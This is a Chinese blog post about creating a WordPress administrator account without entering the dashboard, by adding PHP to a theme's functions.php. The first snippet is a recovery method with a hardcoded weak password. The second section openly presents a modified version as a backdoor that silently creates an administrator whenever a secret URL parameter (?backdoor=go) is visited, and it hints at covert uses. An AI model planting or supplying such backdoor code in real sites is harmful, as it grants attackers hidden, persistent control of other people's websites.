不进WordPress后台可以创建管理账号吗

飞鸟

1980
文章

52
评论

15 10 月, 2020 13:39:15wordpress 源码分享评论755阅读模式

之前“找回 WordPress 登录密码”文章提供的找回登录密码方法有一个局限性，就是如果连登录名和邮件地址也忘了（该找医生看看了），还是无法解决，这里再提供一个方法。

文章源自飞鸟学习网-https://www.pk88.net/2020-1015-5.html

不登录WordPress 后台直接新建一个管理员账号文章源自飞鸟学习网-https://www.pk88.net/2020-1015-5.html

可以通过FTP，将下面代码添加到当前主题函数模板functions.php中，然后刷新页面会新建一个管理员账号：文章源自飞鸟学习网-https://www.pk88.net/2020-1015-5.html

// 新建一个管理账号
$user_email = '123@123.com';
$user_password = '123456';
if ( !username_exists( $user_email ) ) {
$user_id = wp_create_user( $user_email, $user_password, $user_email );
wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
wp_die( '添加用户成功!' );
} else {
wp_die( '该用户已经存在，用后请移除本代码！' );
}

修改其中的邮件地址和密码，用后请移除本代码。文章源自飞鸟学习网-https://www.pk88.net/2020-1015-5.html

登录新建的管理员账号，修改原来账号的密码或者直接删除原来的账号。文章源自飞鸟学习网-https://www.pk88.net/2020-1015-5.html

文章源自飞鸟学习网-https://www.pk88.net/2020-1015-5.html

这段代码还有一个不可告人的功能，稍微改一下，变成后门！文章源自飞鸟学习网-https://www.pk88.net/2020-1015-5.html

这段代码还有一个不可告人的功能，稍微改一下，变成后门！双刃剑看怎么用了。文章源自飞鸟学习网-https://www.pk88.net/2020-1015-5.html

if ($_GET['backdoor'] == 'go') {
$user_email = '123@123.com';
$user_password = '123456';
if ( !username_exists( $user_email ) ) {
$user_id = wp_create_user( $user_email, $user_password, $user_email );
wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
wp_die( '添加用户成功!' );
} else {
wp_die( '该用户已经存在，用后请移除本代码！' );
}
}

只有打开一个特定的链接，比如：文章源自飞鸟学习网-https://www.pk88.net/2020-1015-5.html

example.com/?backdoor=go

才会运行这段代码，并新建管理账号，至于目的是什么，自己想像吧。

全站资源源于网络整合,仅供学习研究,不可商用,不提供技术指导，如有侵权请告知删除，可以投稿，广告合作联系V: pk88net

继续阅读

我的微信

我的微信

微信扫一扫

本文由飞鸟发表于 15 10 月, 2020 13:39:15
转载请务必保留本文链接：https://www.pk88.net/2020-1015-5.html
免责声明
非常感谢您的访问。在您使用本网站之前，请您仔细阅读本声明的所有条款。
1、本网站属于个人网站，本分开放互享的原则，本网站的内容均为站长提供、网友推荐、互联网整理而来，仅用于广大网友学习研究使用，如有侵犯您的版权，请及时联系我们，本站将及时纠正。
2、本站内容不保证其完整性、正确性，但是我们会尽最大努力去确保提供信息的完整性及正确性，且不对因信息的不正确或遗漏导致的任何损失或损害承担责任。
3、对由于使用本站所产生的任何直接、间接或偶然性的损失或破坏，无论该损失或破坏是否源于疏忽、违约、诽谤、侵权甚至电脑病毒等原因造成的，本网站概不负责，亦不负任何法律责任。
4、本网站所有内容（网络，素材、图片），其版权均归原作者所有，在转载有关文章时务必尊重该文章的著作权，保留其来源，并自负版权等法律责任。
5、本声明未涉及的问题参见国家有关法律法规，当本声明与国家法律法规冲突时，以国家法律法规为准。
6、本站文章内容，如果来源于互联网，我们会标明其来源，如果属于本站原创整理互联网资料，请您转载或者使用该文章时尊重本站及其互联网作者的著作权，注明其来源。
7、互联网的本质是自由与分享，我们真诚的希望，本站的每一份正能量能带给正在访问本网站的您提供有效的帮助，并且能在互联网自由传播。希望大家多多支持本站。